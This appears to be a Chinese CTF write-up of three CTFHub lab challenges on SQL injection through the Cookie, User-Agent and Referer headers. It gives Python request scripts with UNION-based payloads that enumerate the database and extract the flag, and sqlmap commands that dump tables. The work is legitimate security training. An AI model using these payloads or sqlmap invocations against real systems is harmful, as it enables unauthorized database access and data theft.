CTFHUB——Cookie、User-Agent、Referer注入 writeup

背景

我们一般做sql注入的时候,注入点一般都是一个文本框,然后我们可以通过输入某种特殊的语句来获得数据库中的信息,但是有时候这种注入点可不一定给你一个文本框,而可能在请求包中的其他地方。
接下来我分享一下CTFHUB中的三道题,它们的注入点分别是请求包中的Cookie、User-Agent和Referer。它们只是注入点不同,基于的的注入方式都是最基本的union联合注入。所以它们的payload都十分简单和相似。
在这次做题过程中,我还尝试了强大的sqlmap,成功得到了一些结果。

SQL注入——Cookie注入

Cookie注入界面一般不会给你输入框,类似这道题目。

Cookie注入

它的注入点存在于Cookie之中。这是Burp抓包的结果。

Cookie id

那就很简单了,我们还是利用那个强大的插件,Copy as requests,把请求转化为python中的request代码。之后改一下id的值就行。因为这道题是有回显的,所以用最基本的联合注入即可,要是Cookie配合上时间盲注就有意思了2333。

import requests

# id = "1 and 1=2 union select database(), 1" #爆库
# id = "1 and 1=2 union select group_concat(table_name), 1 from information_schema.tables where table_schema = 'sqli'" #爆表
# id = "1 and 1=2 union select group_concat(column_name), 1 from information_schema.columns where table_name = 'fwtzeovuem'" #爆字段
id = "1 and 1=2 union select rzahbuabdf, 1 from fwtzeovuem" #get flag
burp0_url = "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800/"
burp0_cookies = {"id": id, "hint": "id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Cache-Control": "max-age=0"}
print(requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text)

flag

因为这道题比较简单,我还试了一下sqlmap。这次总算不是日常坚不可摧了。成功得到了flag。

python3 sqlmap.py -u "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800" --cookie "id=1" --level 2 -D sqli -T fwtzeovuem -C rzahbuabdf --dump

sqlmap

SQL注入——UA注入

UA注入和Cookie类似,只是换了个注入位置。基于的还是最基础的Union注入。

import requests

burp0_url = "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/"
# UA = "1 and 1=2 union select 1, database()"
# UA = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'"
# UA = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='cqomjcukck'"
UA = "1 and 1=2 union select 1, ycrtshvcir from cqomjcukck"
burp0_headers = {"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
print(requests.get(burp0_url, headers=burp0_headers).text)

脚本运行结果

burp render

照例,还是试了一下sqlmap,我才发现sqlmap原来这么好用。

python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3

只是设置了level为3,其他什么都不给。结果一上来就提示UA是动态的,可注入。

开局UA可注入

sqlmap提示结果

它提示在UA这个参数这里有两种可能的注入,一种是时间盲注,一种是union联合注入,还都出了payload。

这确实非常强。为什么这里时间盲注也可以呢?这相当于不看页面的回显,直接用响应时间来判断,这么想来是不是大部分的sql注入都适合时间盲注2333。

当然自己注入的话,肯定会选择十分简单的union联合注入。

python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3 -D sqli -T cqomjcukck --columns

sqlmap get flag

而且sqlmap有一个非常牛逼的点,它每次运行完都会把该网站的结果存在某个文件中,下次深入获得信息的时候会直接从文件中读取之前取得的成果,而不用从头开始,这大大提高了效率。

SQL注入——Refer注入

和Cookie注入和UA注入类似,不多说了,只是换了一个地方。

import requests

burp0_url = "http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/"
# referer = "1 and 1=2 union select 1, database()"
# referer = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'"
# referer = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'sngrgwaxpk'"
referer = "1 and 1=2 union select 1, lwwwrezxpx from sngrgwaxpk"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Referer": referer}

print(requests.get(burp0_url, headers=burp0_headers).text)

refer flag

burp refer flag

这道题貌似sqlmap就不太好使了。

python3 sqlmap.py -u http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/ --level 3

sqlmap结果

它发现了Referer是脆弱的,但是只检查出了时间盲注,没有检查出union注入。之后的时间盲注也一直失败。

sqlmap time-based blind

当然也可能是我在中途选则选项的时候没有选好2333。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值